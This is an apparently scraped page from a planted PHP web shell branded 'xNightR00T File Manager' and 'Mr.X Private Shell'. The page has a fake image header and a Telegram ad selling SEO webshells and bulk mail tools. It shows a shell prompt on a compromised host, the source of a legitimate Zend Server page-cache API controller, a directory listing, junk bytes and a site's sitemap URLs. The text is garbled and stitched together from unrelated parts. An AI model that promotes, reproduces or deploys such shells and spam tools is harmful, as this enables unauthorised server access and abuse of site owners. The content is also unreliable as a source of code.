xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace PageCache\Controller;

use ZendServer\Mvc\Controller\WebAPIActionController,
    WebAPI;
use Zend\View\Model\ViewModel;
use WebAPI\Exception;
use Zsd\Db\TasksMapper;
use ZendServer\Log\Log;
use Audit\Db\Mapper as auditMapper;
use Audit\Db\ProgressMapper;
use PageCache\Model\StatsMapper;
use Application\Module;
use Deployment\Model;

class WebAPI115Controller extends WebAPIActionController
{

    /**
     * Get the list page cache pulse statistics
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method GET
     * @permissions Full
     * @editions Zend Server
     * @param integer applicationId application id to filter data
     * @param integer type type of cache: memory or file system
     * @param integer period - number of hours (default is 24 hours)
     * @response {
      "hits": 0,
      "totalHits": 0,
      "totalMisses": 1,
      "misses": 0.0007,
      "requests": 0.0007,
      "totalRequests": 1,
      }
     * @return array
     */
    public function pageCachePulseStatisticsAction()
    {

        $this->closeSession();

        $this->isMethodGet();

        $params = $this->getParameters(array(
            'applicationId',
            'rule',
            'period' => 24  // 24 hours is the default
        ));

        // validate params
        if (isset($params['applicationId'])) {
            $applicationId = $this->validateApplicationId($params['applicationId'], 'applicationId');
        }
        $period = $this->validateAllowedValues($params['period'], 'period',
            array(-1, 2, 24, 48, 168, 336, 720, 2160, 4320, 8640, 43200));
        $period = $this->limitPeriodByEdition($period);

        // get page cache statistics DB
        /* @var $mapper PageCache\Model\StatsMapper  */
        $mapper     = $this->getPageCacheStatsMapper();
        $totalStats = $mapper->getTotalStatistics($params);

        $hitsAvg         = 0;
        $totalHits       = 0;
        $missesAvg       = 0;
        $totalMisses     = 0;
        $requestsAvg     = 0;
        $totalPCRequests = 0;
        $timeSaved       = 0;
        $timeSavedAvg    = 0;

        foreach ($totalStats as $stat) {
            if ($stat['entry_type_id'] == StatsMapper::TYPE_HITS) {
                $hitsAvg   = $stat['counter_value'];
                $totalHits = $stat['total_value'];
            } else if ($stat['entry_type_id'] == StatsMapper::TYPE_MISSES) {
                $missesAvg   = $stat['counter_value'];
                $totalMisses = $stat['total_value'];
            } else if ($stat['entry_type_id'] == StatsMapper::TYPE_REQUESTS) {
                $requestsAvg     = $stat['counter_value'];
                $totalPCRequests = $stat['total_value'];
            } else if ($stat['entry_type_id'] == StatsMapper::TYPE_TIME_SAVED) {
                $timeSavedAvg = $stat['counter_value'];
                $timeSaved    = $stat['total_value'];
            }
        }

        $statsModel    = $this->getLocator()->get('Statistics\Model'); /* @var $statsModel  \Statistics\Model */
        $from          = time() - $period * 60 * 60;
        // ZEND_STATS_TYPE_NUM_REQUESTS = 31
        $requestStats  = $statsModel->getRequestStatistics($params, ZEND_STATS_TYPE_NUM_REQUESTS);
        $totalRequests = isset($requestStats['total_value']) ? $requestStats['total_value'] : 0;

        // ZEND_STATS_TYPE_AVG_REQUEST_PROCESSING_TIME = 33
        $requestStats             = $statsModel->getRequestStatistics($params, ZEND_STATS_TYPE_AVG_REQUEST_PROCESSING_TIME);
        $totalRequestsProcessTime = isset($requestStats['total_value_samples']) ? $requestStats['total_value_samples'] : 0;

        return array('hits' => round($hitsAvg, 4),
            'totalHits' => intval($totalHits),
            'totalMisses' => intval($totalMisses),
            'misses' => round($missesAvg, 4),
            'totalPCRequests' => intval($totalPCRequests),
            'totalRequests' => intval($totalRequests),
            'requests' => round($requestsAvg, 4),
            'timeSaved' => intval($timeSaved),
            'totalRequestsProcessTime' => intval($totalRequestsProcessTime),
            'firstPCTimestamp' => $mapper->getPCFirstTimestamp($params),
            'globalFirstPCTimestamp' => $mapper->getPCFirstTimestamp($params, true)
        );
    }

    /**
     * Get the page cache status
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method GET
     * @permissions Full
     * @editions Zend Server
     * @response   {
      "isEnabled": true
      }
     * @return \WebAPI\View\WebApiResponseContainer
     */
    public function pageCachePulseStatusAction()
    {
        $this->closeSession();

        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives'); /* @var $directivesMapper \Configuration\MapperDirectives */

        return new \WebAPI\View\WebApiResponseContainer(array('isEnabled' => $directivesMapper->getDirectiveValue('zend_pagecache.pulse.enable')
            === "1" ? true : false));
    }


    /**
     * Clear page cache pulse statistics
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method POST
     * @permissions Full
     * @editions Zend Server
     * @response {
      "status": true,
      }
     * @return \WebAPI\View\WebApiResponseContainer
     */
    public function clearPageCacheStatisticsAction()
    {
        $this->isMethodPost();
        /* @var $mapper PageCache\Db\StatsMapper  */
        $mapper = $this->getPageCacheStatsMapper();
        try {
            $mapper->clearDb();
        } catch (\Exception $ex) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array('errorMessage' => $ex->getMessage())));
            throw new Exception('Could not clear statistics information', Exception::INTERNAL_SERVER_ERROR, $ex);
        }
        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);
        return new \WebAPI\View\WebApiResponseContainer(['status' => true]);
    }

     /**
     * Update page cache rule position
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method GET
     * @permissions Full
     * @editions Zend Server
     * @param integer ruleId - Rule Id
     * @param integer priority - Priority
     * @response   {
      "ruleId": 1,
      "priority": 1,
      }
     * @return \WebAPI\View\WebApiResponseContainer
     */
    public function pagecacheUpdateRulePriorityAction()
    {

        $this->isMethodPost();

        $params = $this->getParameters(array(
            'ruleId' => null,
            'priority' => null,
        ));

        $this->validateInteger($params['ruleId'], 'ruleId');
        $this->validateInteger($params['priority'], 'priority');
        $currentRules = $this->getLocator()->get('PageCache\Model\Mapper')->getRules([$params['ruleId']]);
        if (!empty($currentRules)) {
            $currentRule = current($currentRules);
        }else{
           throw new Exception('Rule was not found!');
        }
        $dataArr = array(
                array(
                    'name' => $currentRule->getName(),
                    'priority' => $params['priority']
                )
            );

            $audit = $this->auditMessage(auditMapper::AUDIT_PAGE_CACHE_SAVE_RULE, ProgressMapper::AUDIT_PROGRESS_REQUESTED, $dataArr); /* @var $audit \Audit\Container */
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_STARTED, $dataArr);


        $params['status'] = $this->getLocator()->get('PageCache\Model\Mapper')->updateRulePriority(
            $params['ruleId'], $params['priority']
        );


        if (isset($params['notifySelfOnly']) && $params['notifySelfOnly'] == '1') {
            $edition = new ZendServer\Edition();
            $servers = array($edition->getServerId());
        } else {
            $servers = $this->getServersMapper()->findRespondingServersIds();
        }

        if (!isset($params['notifyChange']) || $params['notifyChange'] == '1') {
            $this->rulesChanged($servers);
        } else {
            $this->rulesChanged(array($edition->getServerId()));
        }



        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY,
            array($dataArr));

        return new \WebAPI\View\WebApiResponseContainer($params->toArray());
    }

   

    /**
     * Enabled/disables the page cache rule
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method POST
     * @permissions Full
     * @param array rules array of rules ids
     * @param boolean enable if it's enable or disable action
     * @editions Zend Server
     " @response": {
        "result": "success"
     }
     * @return \WebAPI\View\WebApiResponseContainer
     */
    public function pageCacheRuleEnableDisableAction()
    {
        try {
            $params = $this->getParameters(array('rules' => array(), 'enable' => 'TRUE'));

            $auditData = $params['rules'];

            $audit = $this->auditMessage(auditMapper::AUDIT_CLEAR_PAGE_CACHE_CACHE,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array(array(
                    'rules' => $auditData
                ))
            ); /* @var $audit \Audit\Container */

            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_STARTED,
                array(array(
                    'rules' => $auditData)));

            $this->isMethodPost();
            $this->validateMandatoryParameters($params, array('rules'));
            $this->validateArray($params['rules'], 'rules');
            foreach ($params['rules'] as $key => $ruleId) {
                $this->validateInteger($ruleId, "rules[$key]");
            }
            $this->validateBoolean($params['enable'], 'enable');
        } catch (ZendServer\Exception $e) {

            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array(
                    $e->getMessage())));

            $this->handleException($e, 'Input validation failed');
        }

        $mapper = $this->getLocator()->get('PageCache\Model\Mapper'); /* @var $mapper \PageCache\Model\Mapper */

        foreach ($params['rules'] as $key => $ruleId) {
            $rules  = $mapper->getRules(array($ruleId));
            $rules[0]->setEnabled(strtolower($params['enable'])); // FALSE -> false, TRUE -> true
            $ruleId = $mapper->saveRule($rules[0]);
        }

        Log::debug("Updated Page Cache rule ".implode(',', $params['rules']));

        if (isset($params['notifySelfOnly']) && $params['notifySelfOnly'] == '1') {
            $edition = new ZendServer\Edition();
            $servers = array($edition->getServerId());
        } else {
            $servers = $this->getServersMapper()->findRespondingServersIds();
        }

        if (!isset($params['notifyChange']) || $params['notifyChange'] == '1') {
            $this->rulesChanged($servers);
        } else {
            $this->rulesChanged(array($edition->getServerId()));
        }

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY,
            array(array('name' => $params['name'], 'rules' => $auditData)));

        return array('result' => 'success');
    }

    /**
     * Returns the page cache statistics for passed application, ruule, time period
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method GET
     * @permissions Full
     * @editions Zend Server
     * @response {
        "pcHitExecutions": [
            {
                "from_time": "1528202940",
                "until_time": "1528203000",
                "avg_perMinute": "2.0"
            },
            {
                "from_time": "1528203000",
                "until_time": "1528203060",
                "avg_perMinute": "2.0"
            }
        ],
        "pcMissExecutions": [
            {
                "from_time": "1528202940",
                "until_time": "1528203000",
                "avg_perMinute": "1.0"
            }
        ]
    }
    */
    public function pageCachePulseExecutionsAction()
    {
        $this->closeSession();

        $this->isMethodGet();

        $params = $this->getParameters(array(
            'applicationId', // All
            'rule',
            'period' => 24  // 24 hours is the default
        ));

        // validate params
        if (isset($params['applicationId'])) {
            $applicationId = $this->validateApplicationId($params['applicationId'], 'applicationId');
        }
        $period = $this->validateAllowedValues($params['period'], 'period',
            array(-1, 2, 24, 48, 168, 336, 720, 2160, 4320, 8640, 43200));
        $period = $this->limitPeriodByEdition($period);

        // get page cache statistics DB
        /* @var $mapper PageCache\Db\StatsMapper  */
        $mapper = $this->getPageCacheStatsMapper();

        $pcHitExecutions = $mapper->getHitExecutions($params);

        $pcMissExecutions = $mapper->getMissExecutions($params);

        return new \WebAPI\View\WebApiResponseContainer(array('pcHitExecutions' => $pcHitExecutions, 'pcMissExecutions' => $pcMissExecutions));
    }

    /**
     * Returns the rule names that were involved in statistics collection
     * 
     * @api
     * @version 1.15
     * @section Caching
     * @method GET
     * @permissions Full
     * @editions Zend Server
     * @response {
        "rules": [
            {
                "id": "1",
                "name": "zzz",
                "app": -1,
                "enabled": "1"
            },
            {
                "id": "7",
                "name": "test1",
                "app": 21,
                "enabled": "0"
            }
        ]
    }
    * @return \WebAPI\View\WebApiResponseContainer
    */
    public function pageCachePulseGetRuleNamesAction()
    {
        $this->closeSession();
        $this->isMethodGet();

        $mapper = $this->getLocator()->get('PageCache\Model\Mapper'); /* @var $mapper \PageCache\Model\Mapper */
        $rules  = $mapper->getRules(array(), array());

        $pcRuleNames = array();
        foreach ($rules as $rule) { /* @var $rule \PageCache\Rule */
            $pcRuleNames[$rule->getId()] = array('id' => $rule->getId(), 'name' => $rule->getName(), 'app' => $rule->getAppId(), 'enabled' => $rule->getEnabled());
        }

        return new \WebAPI\View\WebApiResponseContainer(array('rules' => $pcRuleNames));
    }

    /**
     * Returns the metadata of pc statistics collection
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method GET
     * @permissions Read-only
     * @editions Zend Server
     " @response": {
        "cache_copies": { 
            "value":1,
            "last_updated":"1528203594"
        },
        "cache_size" : {
        "value":4096,
        "last_updated":"1528203594"
        }
      }
     * @return \WebAPI\View\WebApiResponseContainer
     */
    public function pageCachePulseMetadataAction()
    {
        $this->closeSession();

        $this->isMethodGet();

        // get data cache statistics DB
        /* @var $mapper Cache\Db\StatsMapper  */
        $mapper = $this->getPageCacheStatsMapper();

        $metadata = $mapper->getMetadata();

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);
        return new \WebAPI\View\WebApiResponseContainer($metadata);
    }

    /**
     * Set a task for calculation of data cache statistics sizes
     *
     * @api
     * @version 1.15
     * @section Caching
     * @method GET
     * @permissions Read-only
     * @editions Zend Server
     * @response  {
     "success": true
     }
     */
    public function pageCacheCollectTaskAction() {
    
        $this->closeSession();
        $this->isMethodGet();
        // get data cache statistics DB
        /* @var $mapper  PageCache\Model\StatsMapper  */
        $mapper = $this->getPageCacheStatsMapper();
        $mapper->collectCacheSize();
        return new \WebAPI\View\WebApiResponseContainer(array('success' => true));
    }
    
    protected function limitPeriodByEdition($period)
    {
        $edition = strtoupper($this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->getEdition());
        // Developer Standard - 2 Weeks, max 336 hours
        if ($edition == 'DEVELOPER' && $period > 336) {
            $period = 336; // limit to 2 weeks
        }

        // For Professional edition - 3 months
        if ($edition == 'EDITION_PROFESSIONAL' && $period > 2160) {
            $period = 2160; // limit to 3 months
        }

        return $period;
    }

    /**
     * Validate that the application really exists
     * @param int $appId
     * @param string $paramName
     * @return int
     */
    protected function validateApplicationId($appId, $paramName)
    {
        $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
        $applications    = $deploymentModel->getApplicationSimpleIds();
        $defaultAppIds = array(0, -1); // put 0 as the default value to `all applications`, -1 for URLs without defined application
        if (in_array($appId, $defaultAppIds)) return true;

        return $this->validateAllowedValues($appId, $paramName, $applications);
    }

    /**
     * @return  PageCache\Model\StatsMapper
     */
    protected function getPageCacheStatsMapper()
    {
        return $this->getLocator()->get('PageCache\Model\StatsMapper');
    }

    protected function closeSession()
    {
        // closing the session for writing will prevent session locking.
        $this->getServiceLocator()->get('Zend\Session\SessionManager')->writeClose();
    }

    private function rulesChanged($serversIds)
    {
        $this->getLocator()->get('PageCache\Model\Tasks')->syncPageCacheRulesChanges($serversIds); // whenever we change the rules data, we should notify ZSD to sync changes to all responding servers
    }
}

Filemanager

Name Type Size Permission Actions
EditController.php File 6.47 KB 0644
IndexController.php File 1.99 KB 0644
WebAPI115Controller.php File 17.63 KB 0644
WebAPI116Controller.php File 10.18 KB 0644
WebAPI13Controller.php File 30.83 KB 0644
WebAPIController.php File 2.32 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml